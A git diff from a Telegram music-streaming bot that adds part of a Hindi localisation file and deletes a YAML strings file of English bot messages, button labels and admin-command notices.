+black_3 : "» सफलतापूर्वक ब्लैकलिस्ट में जोड़ दिया गया।"
+black_4 : "उदाहरण :\n\n/whitelistchat [चैट आईडी]"
+black_5 : "» यह चैट ब्लैकलिस्ट की सूची में नहीं है।"
+black_6 : "» सफलतापूर्वक ब्लैकलिस्ट से हटा दिया गया।"
+black_7 : "» ब्लैकलिस्ट की सूची :\n\n"
+black_8 : "» {0} के ऊपर कोई चैट ब्लैकलिस्ट की सूची में नहीं है।"
+black_9 : "» कुछ गड़बड़ हो गई।"
+
+maint_1 : "उदाहरण :\n/maintenance [on|off]"
+maint_2 : "» {0} ने मेंटेनेंस मोड सक्रिय किया।"
+maint_3 : "» {0} ने मेंटेनेंस मोड अक्षम किया।"
+maint_4 : "» मेंटेनेंस मोड पहले से ही सक्रिय है।"
+maint_5 : "» मेंटेनेंस मोड पहले से ही अक्षम है।"
+
+log_1 : "उदाहरण :\n/logger [on|off]"
+log_2 : "लॉगिंग सक्रिय किया"
+
+broad_1 : "» प्रसारण शुरू किया जा रहा है..."
+broad_2 : "उदाहरण :\n\n/broadcast [संदेश या किसी संदेश के उत्तर में]"
+broad_3 : "» संदेश को {0} चैट्स में प्रसारित किया गया, {1} पिन से बोट से।"
+broad_4 : "» संदेश को {0} उपयोगकर्ताओं को प्रसारित किया गया।"
+broad_5 : "» सहायक प्रसारण शुरू कर रहा है..."
+broad_6 : "➻ सहायक प्रसारण :\n\n"
+broad_7 : "↬ सहायक ने {0} चैटों में प्रसारित किया, {1} से।"
+broad_8 : "» कृपया प्रसारित करने के लिए कुछ टेक्स्ट प्रदान करें।"
+
+server_1 : "» लॉग्स प्राप्त करने में विफल हुआ।"
+server_2 : "कृपया सुनिश्चित करें कि आपका Heroku API कुंजी और ऐप का नाम सही रूप से कॉन्फ़िगर किए गए हैं।"
+server_3 : "उपलब्ध अपडेटों की जांच की जा रही है..."
+server_4 : "git कमांड त्रुटि।"
+server_5 : "अमान्य git रिपॉजिटरी।"
+server_6 : "» बोट अप-टू-डेट है।"
+server_7 : "» बोट को सफलतापूर्वक अपडेट किया गया! अब कुछ मिनटों तक प्रतीक्षा करें जब तक बोट पुनरारंभ और परिवर्तनों को पुश नहीं करता है!"
+server_8 : "{0} रीस्टार्ट हो रहा है...\n\n15-20 सेकंड के बाद आप फिर से खेलना शुरू कर सकते हैं।"
+server_9 : "कुछ गलत हो गया, कृपया लॉग जांचें।"
+server_10 : "{0} पर एक अपवाद हुआ #अपडेटर में : {0}
"
+server_11 : "» एक स्पीड टेस्ट चल रहा है..."
+server_12 : "⇆ डाउनलोड स्पीड टेस्ट चल रहा है..."
+server_13 : "⇆ अपलोड स्पीड टेस्ट चल रहा है..."
+server_14 : "↻ स्पीड टेस्ट परिणाम साझा किए जा रहे हैं..."
+server_15 : "✯ स्पीड टेस्ट परिणाम ✯\n\nग्राहक :\n» आईपी : {0}\n» देश : {1}\n\nसर्वर :\n» नाम : {2}\n» देश : {3}, {4}\nस्पॉन्सर : {5}\nलैटेंसी : {6}\nपिंग : {7}"
+
+gban_1 : "» तुमने क्यों खुद को ग्लोबल बैन करना चाहा बेबी?"
+gban_2 : "» मैं क्यों खुद को ग्लोबल बैन करूँ?"
+gban_3 : "» तुम मेरे सुडोएर्स को ग्लोबल बैन नहीं कर सकते।"
+gban_4 : "» {0} पहले से ही बोट से ग्लोबल बैन है।"
+gban_5 : "» {0} पर ग्लोबल बैन को आरंभ किया जा रहा है।\n\nप्रत्याशित समय: {1}"
+gban_6 : "नया ग्लोबल बैन {0} पर:\n\nमूल श्रोत से: {1} [{2}
]\nउपयोगकर्ता: {3}\nउपयोगकर्ता आईडी: {4}\n\nद्वारा बैन किया गया: {5}\nचैट्स: {6}"
+gban_7 : "» {0} बोट से ग्लोबल बैन नहीं है।"
+gban_8 : "» {0} से ग्लोबल बैन को हटाया जा रहा है।\n\nप्रत्याशित समय: {1}"
+gban_9 : "» {0} से ग्लोबल बैन हटाया गया है।\n\n{1} चैट्स में अनबैन हो गया है।"
+gban_10 : "» किसी भी उपयोगकर्ता को बोट से ग्लोबल बैन नहीं किया गया है।"
+gban_11 : "» ग्लोबल बैन उपयोगकर्ता सूची प्राप्त की जा रही है..."
+gban_12 : "🙂 ग्लोबल बैन उपयोगकर्ता :\n\n"
diff --git a/strings/langs/id.yml b/strings/langs/id.yml
deleted file mode 100644
index a066e90..0000000
--- a/strings/langs/id.yml
+++ /dev/null
@@ -1,472 +0,0 @@
-name : 😍Yukki😍
-
-# General Strings
-general_1 : "Reply to a user's message or give username/user_id."
-general_2 : "Error! Wrong Usage of Command."
-general_3 : "Some **exception occured** while processing your query.\n\nException Type:- {0}"
-general_4 : "You're an anonymous admin in this chat group!\nRevert back to User Account From Admin Rights."
-general_5 : "You need to be admin with manage voice chat rights to perform this action."
-general_6 : "Bot isn't streaming on voice chat."
-
-# Classes - Telegram.py
-tg_1 : "Bot is **overloaded** with downloads right now.\n\n**Try After:** {0} (__expected time__)"
-tg_2 : "Failed to download the media from telegram."
-
-# Core - Call.py
-call_1 : "Bot requires **Admin** Permission to invite assistant account to your channel."
-call_2 : "Assistant is banned in your group or channel, please unban.\n\n**Assistant Username:** @{0}\n**Assistant ID:** {1}"
-call_3 : "Exception Occured While Inviting Assistant Account to your chat.\n\n**Reason**: {0}"
-call_4 : "Bot requires **Invite Users Via Link** Permission to invite assistant account to your chat group."
-call_5 : "Assistant Account will be joining in 5 Seconds..Please Wait!"
-call_6 : "Assistant Account[{0}] Joined Successfully.\n\nStarting Music Now"
-call_7 : "**Harmful Admin Right Given **\n\nPlease remove **BAN USERS** rights from the bot."
-call_8 : "**Harmful Admin Right Given **\n\nPlease remove **ADD NEW ADMINS** rights from the bot."
-call_9 : "**Failed to switch Stream**\nPlease use /skip to change track again."
-call_10 : "Downloading Next Track from Playlist"
-call_11 : "Please add @{0} to your channel[ ID: {1}].\n\nBot is not able to get channel details."
-
-# PLUGINS - Auth.py
-auth_1 : "You can only have 20 Users in your group's Authorised Users List (AUL)"
-auth_2 : "Added to Authorised Users List of your group."
-auth_3 : "Already in the Authorised Users List."
-auth_4 : "Removed from Authorised Users List of this Group."
-auth_5 : "Targeted user is not an Authorised User."
-auth_6 : "Fetching Authorised Users... Please Wait"
-auth_7 : "**Authorised Users List[AUL]:**\n\n"
-auth_8 : "┗ Added By:-"
-
-# PLUGINS - Admins
-admin_1 : "Music is already Paused."
-admin_2 : "🎧 Voicechat Paused by {}!"
-admin_3 : "Music is already resumed."
-admin_4 : "🎧 Voicechat Resumed by {}!"
-admin_5 : "Music is already muted."
-admin_6 : "🎧 Voicechat Muted by {}!"
-admin_7 : "Music is already unmuted."
-admin_8 : "🎧 Voicechat Unmuted by {}!"
-admin_9 : "🎧 Voicechat End/Stopped by {}!"
-admin_10 : "🎧 Voicechat Skipped by {}!. No More Music in Queue."
-admin_11 : "Error while changing stream to **{0}**\n\nPlease use /skip again."
-admin_12 : "Unable to skip to a specific track because of enabled loop play. Please disable loop play via `/loop disable` to use this feature."
-admin_13 : "Please use numeric numbers for specific tracks, like 1, 2 or 4 etc"
-admin_14 : "Atleast 2 tracks needed in queue to skip to a specific number. Check queue by /queue"
-admin_15 : "Not enough tracks in queue for the value given by you. Please choose numbers between 1 and {0}"
-admin_16 : "Failed to skip to specific track.\n\nCheck left queue by /queue"
-admin_17 : "{0}.. Please Wait"
-admin_18 : "Admin List Not Found\n\nPlease reload adminlist via /admincache or /reload"
-admin_19 : "You need to be admin with manage voice chat rights to perform this.\nIf you're already admin, reload admincache via /admincache "
-admin_20 : "Admin cache reloaded successfully."
-admin_21 : "Nothing inside queue to shuffle"
-admin_22 : "Failed to shuffle.\n\nCheck queue : /queue"
-admin_23 : "**Queue Shuffled by {0}**\n\nCheck shuffled queue : /queue"
-admin_24 : "**Usage:**\n/loop [enable/disable] or [Number between 1-10]\n\n**Example:** /loop 5"
-admin_25 : "Loop enabled by {0} for **{1}** times. Bot will now repeat the current playing music on voice chat for **{1}** times"
-admin_26 : "Please use numbers between 1-10 for loop play"
-admin_27 : "Loop Play has been disabled"
-admin_28 : "**Usage:**\n/seek or /seekback [Duration in seconds]"
-admin_29 : "Please use numeric duration seconds like 10-20-30 second for seeking"
-admin_30 : "Sorry but you can't seek the currently playing stream. It can only be skipped or stopped."
-admin_31 : "Bot is not able to seek due to high duration given. You need to seek to a lower duration and remember that a time of 10 seconds is left after seeking.\n\nCurrently played** {0}** mins out of **{1}** mins"
-admin_32 : "Please Wait... Seeking ongoing stream."
-admin_33 : "Successfully Seeked Stream to {0} Mins"
-admin_34 : "Failed to seek the current stream."
-
-# Bot
-
-# Start
-start_1 : "Thanks for having me in {0}.\n{1} is alive.\n\nFor any assistance or help, checkout our support group and channel."
-start_2 : "Hello, My name is {0}.\n\nI'm a telegram streaming bot with some useful features. Supporting platforms like Youtube, Spotify, Resso, AppleMusic , Soundcloud etc.\n\nFeel free to add me to your groups."
-start_3 : "Welcome To {0}\n\nI don't need any **admin permission** to work ( until asked for ).\n\nAssistant Username:- @{1}\nAssistant ID:- {2}"
-start_4 : "{0}'s Owner[{1}] has just joined your chat."
-start_5 : "A member of {0}'s Sudo User[{1}] has just joined your chat."
-start_6 : "❗️ **Supergroup Needed** ❗️\n\nPlease convert your **group** to **supergroup** and then add me back.\n\n**How to make supergroup?**\n✅ Make your group's chat history **visible** once."
-start_7 : "**Blacklisted Chat**\n\nYou're chat has been blacklisted by the Bot. Please ask any SudoUser to whitelist chat first. Check [Sudolist from here]({0})"
-
-# Help
-help_1 : "Click on the buttons below for more information. If you're facing any problem in command you can contact my bot owner or ask in support chat.\n\nAll commands can be used with: /"
-help_2 : "Contact me in PM for help."
-
-# Settings
-setting_1 : "⚙️ **Music Bot Settings**\n\n🖇**Group:** {0}\n🔖**Group ID:** `{1}`\n\n💡**Choose the function buttons from below which you want to edit or change.**"
-setting_3 : "⁉️ What is This?\n\n1) Direct: Plays search queries directly. Use -v to play videos in direct mode.\n\n2) Inline: Returns Inline Markup Buttons for choosing between video & audio."
-setting_4 : "⁉️ What is This?\n\n👥 Everyone: Anyone can use admin commands(skip, pause, resume etc) present in this group.\n\n🙍 Admin Only: Only admins and authorized users can use admin commands."
-setting_5 : "No Authorized Users Found\n\nYou can allow any non-admin to use my admin commands by /auth and delete by using /unauth"
-setting_9 : "⁉️ What is This?\n\nWhen activated, Bot will delete its message after {0} to make your chat clean and clear."
-setting_10 : "⁉️ What is This?\n\n1) Group: Plays music in the group where the command is given .\n\n2) Channel: Plays music in the channel you want. Set channel id via /channelplay"
-setting_11 : "⁉️ What is This?\n\n1) Everyone: Anyone present in this group can play music here.\n\n2) Admin Only: Only admins can play the music in this group."
-setting_12 : "❌ You've no channel id defined for channel mode. Please define with /channelplay."
-setting_13 : "Can't change play mode in active group call. Please stop the voice chat first with /stop."
-setting_14 : "⁉️ What is This?\n\nWhen activated, Bot will delete its executed commands (/play, /pause, /shuffle, /stop etc) immediately.\n\nBot will be requiring delete messages admin right for this to work properly."
-setting_15 : "Failed to resolve peer, Make sure you have added bot in your channel and promoted it as admin.\n\nTry setting /channelplay again.."
-setting_16 : "⁉️ What is This?\n\nWhen activated, Bot will suggest your chat in every 1-2 hour about bot commands (How to use them, which are the commands and many other things) randomly."
-
-
-set_cb_1 : "Getting Audio Quality Panel..."
-set_cb_2 : "Getting Video Quality Panel..."
-set_cb_3 : "Getting Auth Users Panel..."
-set_cb_4 : "Getting Play Mode Panel..."
-set_cb_5 : "Getting Clean Mode Panel..."
-set_cb_6 : "Setting up changes."
-set_cb_7 : "Getting Auth Users List.. PLEASE WAIT."
-set_cb_8 : "Getting back.."
-
-# Misc
-ustats_1 : "No User Stats Found."
-ustats_2 : "Greetings!, You have played **{0}** tracks till now with a whopping count of **{1}** times.\n\nTop {2} played by you:\n\n"
-
-gstats_1 : "Getting Global Stats, This could take some time..."
-gstats_2 : "No Stats Found."
-gstats_3 : "Getting Global Top 10 {0} on the bot, This could take some time.."
-gstats_4 : "**Total Queries on Bot:** {0}\n\n{1} has played **{2}** tracks till now with a whopping count of **{3}** times.\n\n**Top {4} Tracks:**\n"
-gstats_5 : "**Top {0} Chats of {1}:**\n\n"
-gstats_6 : "**Top {0} Users of {1}:**\n\n"
-gstats_7 : "This chat group has played **{0}** tracks till now with a whopping count of **{1}** times.\n\nTop {2} played by this chat group:\n\n"
-gstats_8 : "Getting Bot's general stats and information.. This could take some time..."
-gstats_9 : "**GLOBAL TOP 10 STATS OF THE BOT**\n\nSelect the buttons from below for which you want to check global stats from bot's servers."
-gstats_10 : "**Global Stats of {0}**\n\nSelect the buttons from below for which you want to check global stats from bot's servers."
-gstats_11 : "**General Stats of {0}**\nSelect the buttons from below for which you want to check global stats from bot's servers.\n\nTo check top tracks, chats, users and other stuffs, please use /gstats"
-
-
-# Play
-
-#Play Callback
-playcb_1 : "This is not for you! Search You Own Song."
-playcb_2 : "Getting Next Result"
-
-# Channel Play
-cplay_1 : "You can play music in channels from this chat[{0}] to any channel or your chat's linked channel.\n\n**For linked channel:**\n`/{1} linked`\n\n**For any other channel:**\n`/{1} [Channel ID]`"
-cplay_2 : "This chat has no linked channel."
-cplay_3 : "Channel Defined to {0}\n\n__Channel ID__: {1}"
-cplay_4 : "Failed to get channel.\n\nMake sure you have added bot in your channel and promoted it as admin.\nEdit or Change channel via /channelplay"
-cplay_5 : "Only Channels are supported."
-cplay_6 : "You need to be the **Owner** of the channel[{0}] to connect it with this group.\n**Channel's Owner:** @{1}\n\nAlternatively you can link your group to that channel and then try connnecting with `/channelplay linked`"
-
-#Play
-play_1 : "🔄 Processing Query... Please Wait!"
-play_2 : "**🏷Channel Play Mode**\n\n🔄 Processing Query... Please Wait!\n**Linked Channel:** {0}"
-play_3 : "Failed to Process Query!"
-play_4 : "🖇 **Admins Only Play**\nOnly Admins and Auth Users can play music in this group.\n\nChange mode via /playmode and if you're already admin, reload admincache via /admincache"
-play_5 : "Failed to process audio file.\n\nAudio File Size Should Be Less Than 100 mb"
-play_6 : "**Duration Limit Exceeded**\n\n**Allowed Duration: **{0} minute(s)\n**Received Duration:** {1} hour(s)"
-play_7 : "Sorry! Bot only allows limited number of video calls due to CPU overload issues. Many other chats are using video call right now. Try switching to audio or try again later"
-play_8 : "Not A Valid Video File Extension!\n\n**Supported Formats:** {0}"
-play_9 : "Video File Size Should Be Less Than 1 GiB"
-play_10 : "**Youtube Playlist Feature**\n\nSelect the Mode in which you want to play whole Youtube Playlist"
-play_11 : "📎Title: **{0}\n\n⏳Duration:** {1} Mins"
-play_12 : "**Spotify Play Mode**\n\nRequested By:- {0}"
-play_13 : "**Apple Playlists**\n\nRequested By:- {0}"
-play_14 : "**Unable to verify the URL.**\nBot wonders if this url belongs to any of the following platforms: Youtube, AppleMusic, Spotify, Resso and Soundcloud.\n\nYou can use /stream for M3u8 or Remote Links."
-play_15 : "**Live Stream Detected**\n\nSystems have detected your track link as live stream. Want to play live stream ?"
-play_16 : "Failed to fetch track details. Try playing any other."
-play_17 : "Unable to play this type of spotify query!\n\nI can only play spotify tracks, albums, artists and playlists"
-play_18 : "**No Active Voice Chat Found**\n\nTo use force play, there must be an active voice chat going on in your group. **Force Play** stops the playing track on voice chat and starts playing the searched track instantly without disturbing/clearing queue."
-
-
-#Playlist
-playlist_1 : "**Usage:** /play [Music Name or Youtube Link or Reply to Audio]\n\nIf you want to play Bot's Server Playlist! Press the button below."
-playlist_2 : "Getting your playlist. Please wait"
-playlist_3 : "You have no playlist on Bot's Server."
-playlist_4 : "Fetched Playlist:\n\n"
-playlist_5 : " Duration- {0} Mins"
-playlist_6 : "Contact me in PM for deletion of Playlists."
-playlist_7 : "Tracks Inside Playlist: {0}\n\nPress the Buttons to delete a particular track in your playlist.\n\nTo delete whole playlist: Press Del Whole Playlist button."
-playlist_8 : "Already Exists\n\nThis track exists in your playlist."
-playlist_9 : "Sorry! You can only have {0} music in a playlist."
-playlist_10 : "Playlist Addition\n\n{0}\nadded to your playlist."
-playlist_11 : "Successfully deleted your track."
-playlist_12 : "Failed to delete your track."
-playlist_13 : "Deleted your whole playlists from the server. "
-playlist_14 : "**Are you Sure you want to delete your whole playlist?**\n\nYou'll lost your playlist and this can't be recovered later."
-playlist_15 : "[Checkout Whole Playlist]({0})"
-playlist_16 : "Queued Playlist:"
-playlist_17 : "Queued Position-"
-playlist_18 : "[Checkout Whole Queued Playlist]({0})\n\nLast Queued Position : **{1}**"
-
-#Playmode
-playmode_1 : "Select the mode in which you want to play the queries inside your group[{0}]."
-playmode_2 : "Settings changed and saved successfully by {0}"
-
-#Stream
-str_1 : "Please Provide M3u8 Links or Index Links."
-str_2 : "✅ Valid Stream Verified\n\nPlease wait processing link.."
-str_3 : "Unable to stream youtube live streams. No Live Format Found"
-
-#TopPlay
-tracks_1 : "**Processing {0} Top 10 Playlist**\nThis could take some mins(around 3-4 mins).. Please Wait...\n\n**👤Requested By:** {1}\n\nCheck Top 10 tracks by /gstats"
-tracks_2 : "**Error**\n\nThere's no **{0} Top 10 Playlist** on bot's servers. Please try any other playlist"
-
-# TOOLS
-
-#Lyrics
-lyrics_1 : "**Usage:**\n\n/lyrics [ Music Name]"
-lyrics_2 : "Searching Lyrics"
-lyrics_3 : "❌ Failed to fetch lyrics😭.\n\n💡**Tried Searching For:** {0}"
-lyrics_4 : "Click on the button below and get searched lyrics to avoid long spam types lyrics search."
-
-#Ping
-ping_1 : "Pong!!!!"
-ping_2 : "{0} is working good with a ping of `{1}` ms.\n\nBot's uptime is {2} and has used a total of {3} server's storage. Cpu load is about {4} with a consumption of {5} Ram. Py-Tgcalls client is also having a good ping of `{6}` ms."
-
-
-# Song
-song_1 : "You can download Music or Video from YouTube only in private chat. Please start me in private chat."
-song_2 : "**Usage:**\n\n/song [Music Name] or [Youtube Link]"
-song_3 : "Live Link Detected. I am not able to download live youtube videos. "
-song_4 : "**🔗Title:**- {0}\n\nSelect the type in which you want to download."
-song_5 : "Not a valid Youtube Link"
-song_6 : "Getting Formats.. \n\nPlease Wait.."
-song_7 : "Failed to get available formats for the video. Please try any other track."
-song_8 : "Download Started\n\nDownloading speed could be slow. Please hold on.."
-song_9 : "Failed to download song from Youtube-DL\n\n**Reason:** {0}"
-song_10 : "Failed to upload on telegram from servers."
-song_11 : "Uploading Started\n\nUploading speed could be slow. Please hold on.."
-
-# Tools - Queue
-queue_1 : "Please Wait..Fetching Queue.."
-queue_2 : "Queued List is empty. No tracks found"
-queue_3 : "**Queued Tracks:** [Checkout More Queued Tracks From Here]({0})"
-queue_4 : "⏳ Added to Queue at **#{0}\n\n💡Title:** {1}\n**⏱Duration:** {2}\n👤**Added By:** {3}"
-queue_5 : "Only one track inside queue, Please add some more to check list"
-
-# All Streaming Lines
-stream_1 : "📡 **Started Streaming** 💡\n\n👤**Requested By:** {0}\n🔦**Information: **[Here]({1})"
-stream_2 : "📡 **Started Streaming via URL ** 💡\n\n👤**Requested By:** {0}"
-stream_3 : "📡 **Started Streaming** 💡\n\n**🏷Title:** {0}\n⌛️**Duration**: {1}\n👤**Requested By:** {2}"
-stream_4 : "📡 **Started Streaming** 💡\n\n**🏷Title:** [{0}]({1})\n⌛️**Duration**: {2}\n👤**Requested By:** {3}"
-
-# Inline Buttons
-
-#General Buttons
-CLOSE_BUTTON : "🗑 Close"
-CLOSEMENU_BUTTON : "🗑 Close Menu"
-BACK_BUTTON : "⬅ Back"
-UNBAN_BUTTON : "🗑 Unban Assistant"
-
-#Lyrics
-L_B_1 : "🚀 Checkout Lyrics Now"
-
-# Start
-S_B_1 : "🗒 Commands"
-S_B_2 : "🔧 Settings"
-S_B_3 : "📨 Support"
-S_B_4 : "📨 Channel"
-S_B_5 : "✚ Add me to your Group"
-S_B_6 : "💡 Git Repo"
-S_B_7 : "👤 Bot Owner"
-S_B_8 : "🔎 How to Use? Commands Menu."
-
-#Help
-H_B_1 : "Admin Commands"
-H_B_2 : "Play Commands"
-H_B_3 : "Bot Commands"
-H_B_4 : "Extra Commands"
-H_B_5 : "Close Menu"
-H_B_6 : "SudoUser Commands"
-
-#PlayMode
-PM_B_1 : "DirectPlay"
-PM_B_2 : "InlineMarkup"
-PM_B_3 : "ChannelPlay"
-
-#Play
-P_B_1 : "🎵 Play Audio"
-P_B_2 : "🎥 Play Video"
-P_B_3 : "🏮 Start Live Stream"
-P_B_4 : "🎵 Play Playlist"
-
-#Playlist
-PL_B_1 : "🚀 Play Playlist"
-PL_B_2 : "✚ Playlists"
-PL_B_3 : "✚ CPanel"
-PL_B_4 : "📡 Play Mode"
-PL_B_5 : "🔄 Del Whole Playlist"
-PL_B_6 : "↗️ Delete Playlist"
-PL_B_7 : "❗️ Yes, I'm sure. Delete it"
-PL_B_8 : "🔢 Play Top 10"
-PL_B_9 : "🤖 Play Global Top 10 Tracks"
-PL_B_10 : "🏘 Play Group's Top 10 Tracks"
-PL_B_11 : "👤 Play Personal Top 10 Tracks"
-
-#Settings
-ST_B_1 : "🔊 Aud Quality"
-ST_B_2 : "🎥 Vid Quality"
-ST_B_3 : "🎩 Auth Users"
-ST_B_4 : "📱 Dashboard"
-ST_B_5 : "▶️ Play Mode"
-ST_B_6 : "🏳️🌈 Language"
-ST_B_7 : "🔄 Clean Mode"
-ST_B_8 : "{0} Low Quality Audio"
-ST_B_9 : "{0} Medium Quality Audio"
-ST_B_10 : "{0} High Quality Audio"
-ST_B_11 : "{0} Low Quality Video"
-ST_B_12 : "{0} Medium Quality Video"
-ST_B_13 : "{0} High Quality Video"
-ST_B_14 : "✅ Enabled"
-ST_B_15 : "❌ Disabled"
-ST_B_16 : "👤 Admins"
-ST_B_17 : "👥 Everyone"
-ST_B_18 : "📋 Authorized Users Lists"
-ST_B_19 : "🔎 Search Mode"
-ST_B_20 : "✅ Direct"
-ST_B_21 : "✅ Inline"
-ST_B_22 : "👨⚖️ Admin Commands"
-ST_B_23 : "🏘 Group"
-ST_B_24 : "🏷 Channel"
-ST_B_25 : "🫂 Play Type"
-ST_B_26 : "🗑 Command Clean"
-ST_B_27 : "🧑🚀 Suggestion Mode"
-
-#Song
-SG_B_1 : "↗️ Open Private Chat"
-SG_B_2 : "🔊 Audio"
-SG_B_3 : "🎥 Video"
-
-#Stats
-SA_B_1 : "📢 Top 10 Chat"
-SA_B_2 : "🔢 Top 10 Tracks"
-SA_B_3 : "🧛 Top 10 Users"
-SA_B_4 : "🏷 Top 10 Here"
-SA_B_5 : "💡 Overall Stats"
-SA_B_6 : "👤 User Stats"
-SA_B_7 : "🔢 Global Top 10 Stats"
-SA_B_8 : "🤖 Bot Stats"
-
-#Queue
-QU_B_1 : "📑 Queued List"
-QU_B_2 : "Played {0} out of {1} Mins"
-
-# Sudo Users [ If you are translating this to some other language .. you can leave all these strings in english language]
-
-#Sudo
-sudo_1 : "{0} is already a sudo user."
-sudo_2 : "Added **{0}** to Sudo Users."
-sudo_3 : "Not a part of Bot's Sudo."
-sudo_4 : "Removed from Bot's Sudo User"
-sudo_5 : "⭐️ **Owners:**\n"
-sudo_6 : "\n⭐️ **Sudo Users:**\n"
-sudo_7 : "No Sudo Users"
-
-#Block
-block_1 : "{0} is already blocked from the bot."
-block_2 : "Added **{0}** to Block List of bot. User won't be able to use bot now under any condition.\n\nCheck blocked users: /blockedusers"
-block_3 : "User is already free and not blocked."
-block_4 : "Removed User from the block list. User will be able to use bot now."
-block_5 : "No Blocked Users Found"
-block_6 : "Getting Blocked Users List.. Please Wait"
-block_7 : "**Blocked Users:**\n\n"
-
-#Blacklist Chats
-black_1 : "**Usage:**\n/blacklistchat [CHAT_ID]"
-black_2 : "Chat is already blacklisted."
-black_3 : "Chat has been successfully blacklisted"
-black_4 : "**Usage:**\n/whitelistchat [CHAT_ID]"
-black_5 : "Chat is already whitelisted."
-black_6 : "Chat has been successfully whitelisted"
-black_7 : "**Blacklisted Chats:**\n\n"
-black_8 : "No Blacklisted Chats"
-
-#videolimit
-vid_1 : "**Usage:**\n/set_video_limit [Number of chats allowed] or [Disable]"
-vid_2 : "Please Use Numeric Numbers for Setting Limit."
-vid_3 : "Video Calls Maximum Limit Defined to {0} Chats."
-vid_4 : "Video Calls Disabled"
-
-#maintenance
-maint_1 : "**Usage:**\n/maintenance [enable|disable]"
-maint_2 : "Enabled for Maintenance"
-maint_3 : "Maintenance Mode Disabled"
-
-#log
-log_1 : "**Usage:**\n/logger [enable|disable]"
-log_2 : "Enabled Logging"
-log_3 : "Logging Disabled"
-
-#videomode
-vidmode_1 : "**Usage:**\n/videomode [download|m3u8]"
-vidmode_2 : "Video Play Mode set as downloader. Bot will be downloading tracks now."
-vidmode_3 : "Video Play Mode set as m3u8. Bot will be play tracks live now."
-
-#broadcast
-broad_1 : "**Broadcasted Message In {0} Chats with {1} Pins from Bot.**"
-broad_2 : "Started Assistant Broadcast..."
-broad_3 : "**Assistant Broadcast:**\n\n"
-broad_4 : "Assistant {0} Broadcasted in {1} chats\n"
-broad_5 : "**Usage**:\n/broadcast [MESSAGE] or [Reply to a Message]"
-broad_6 : "Please provide some text to broadcast."
-broad_7 : "**Broadcasted Message to {0} Users.**"
-
-#Heroku
-heroku_1 : "Please make sure your Heroku API Key, Your App name are configured correctly in the heroku"
-heroku_2 : "You can only get logs of Heroku Apps"
-heroku_3 : "**Usage:**\n/get_var [Var Name]"
-heroku_4 : "Unable to find any such var."
-heroku_5 : ".env file not found."
-heroku_6 : "**Usage:**\n/del_var [Var Name]"
-heroku_7 : "{0} Deleted."
-heroku_8 : "**Usage:**\n/set_var [Var Name] [Var Value]"
-heroku_9 : "{0} has been updated successfully"
-heroku_10 : "{0} has been added successfully"
-heroku_11 : "Only for Heroku Apps"
-heroku_12 : "Checking Heroku Usage. Please Wait"
-heroku_13 : "Checking for available updates..."
-heroku_14 : "Git Command Error"
-heroku_15 : "Invalid Git Repsitory"
-
-#Private bot mode
-pbot_1 : "**Usage:**\n/authorize [CHAT_ID]"
-pbot_2 : "**Usage:**\n/unauthorize [CHAT_ID]"
-pbot_3 : "Added given chat to authorized list"
-pbot_4 : "Removed given chat from authorized list"
-pbot_5 : "Chat is already in the authorized list"
-pbot_6 : "No such chat exists in the authorized list"
-pbot_7 : "Failed to verify chat_id.\n\nMake sure its numeric and in correct format. Don't use chat username or links."
-pbot_8 : "Please wait.... Fetching Authorized chats."
-pbot_9 : "**Fetched Chats:**\n\n"
-pbot_10 : "Private Chat"
-pbot_11 : "No Authorized chats found"
-pbot_12 : "Private Bot Mode is disabled.\n\nTo use your bot as private bot make sure to set **PRIVATE_BOT_MODE** = **True**"
-pbot_13 : "\n**Unfetched Chats:**\n\n"
-
-
-#Gbanned
-gban_1 : "You want to gban yourself? How Fool!"
-gban_2 : "Should i block myself? Lol"
-gban_3 : "You want to block a sudo user?"
-gban_4 : "{0} is already **gbanned** from the bot."
-gban_5 : "**Initializing Global Ban on {0}**\n\nExpected Time : {1}."
-gban_6 : "**Gbanned Successfully**\n\nBanned **{0}** from **{1}** chats."
-gban_7 : "{0} is not **gbanned **yet from the bot."
-gban_8 : "**Ungbanning {0}**\n\nExpected Time : {1}."
-gban_9 : "**UnGbanned Successfully**\n\nUnbanned **{0}** in **{1}** chats."
-gban_10 : "No Gbanned Users Found."
-gban_11 : "Please wait a while.. Fetching Gbanned users list"
-
-#Suggestions
-sug_0 : "❓**Do You Know?**\n\n✅ "
-sug_1 : "You can play music in two **search modes** i.e. Direct Mode and Inline Mode.\n\nChange modes via /playmode"
-sug_2 : "You can play music in two **play types** i.e. Everyone Mode and Admins Mode.\n\nChange modes via /playmode"
-sug_3 : "You can play music in **channels** too.\n\nSet channel_id via /channelplay and play via /cplay "
-sug_4 : "Non Admins can use admin commands too by adding them to** AUTH USERS LIST**. \nAdd any user to auth list by /auth , remove with /unauth and check auth users via /authusers"
-sug_5 : "Bot has a feature called **Clean Mode**.\nIt deletes the bot's messages after 5 Mins and ensures that your chat remains clean.\n\nEnable or disable cleanmode from /settings [__Enabled by default__]"
-sug_6 : "You can play **Spotify** tracks and playlists too.\n\nStart playing now with /play [Spotify Link]"
-sug_7 : "You can play **Apple Music** tracks and playlists too.\n\nStart playing now with /play [Apple Link]"
-sug_8 : "You can play **Resso Music** tracks and playlists too.\n\nStart playing now with /play [Resso Link]"
-sug_9 : "You can play **Sound Cloud** tracks and playlists too.\n\nStart playing now with /play [SoundCloud Link]"
-sug_10 : "You can play **Videos** in voice chat via /vplay [Video Name] or /play -v [Video Name]"
-sug_11 : "You can set **Audio Quality** of voice chat to Low, Medium or High.\n\nSet quality via /settings"
-sug_12 : "You can set **Video Quality** of voice chat to Low, Medium or High.\n\nSet quality via /settings"
-sug_13 : "You can check your **Statistics** on bot like Top 10 Played Tracks.\n\nGet Stats: /gstats "
-sug_14 : "You can check **Group's Stats** on bot like Top 10 Played Tracks.\n\nGet Stats: /gstats "
-sug_15 : "You can check bot's **Global Stats** like top 10 users, top 10 chats, top 10 tracks etc etc.\n\nCheck Stats: /gstats "
-sug_16 : "You can now mute the music which is playing on voice chat.\n\nCommand: /mute"
-sug_17 : "You can now unmute and mute the music which is playing on voice chat.\n\nCommand: /mute and /unmute"
-sug_18 : "You can search the lyrics of musics with us too..\n\nCommand: /lyrics [Music Name]"
-sug_19 : "You can download the music or video from the bot through Youtube.\n\nCommand: /song [Music Name]"
-sug_20 : "You can get a complete list of my commands that i accept.\n\nCommand: /help"
-sug_21 : "Bot has server-sided playlist option.\n\nYou can add music in your playlist and play them all together via /play"
-sug_22 : "You can now shuffle the queued musics on the bot.\n\nCommand: /shuffle"
-sug_23 : "You can check the queue of the musics.\n\nCommand: /queue"
-sug_24 : "You can check my owner and sudo users who manage me.\n\nCommand: /sudolist"
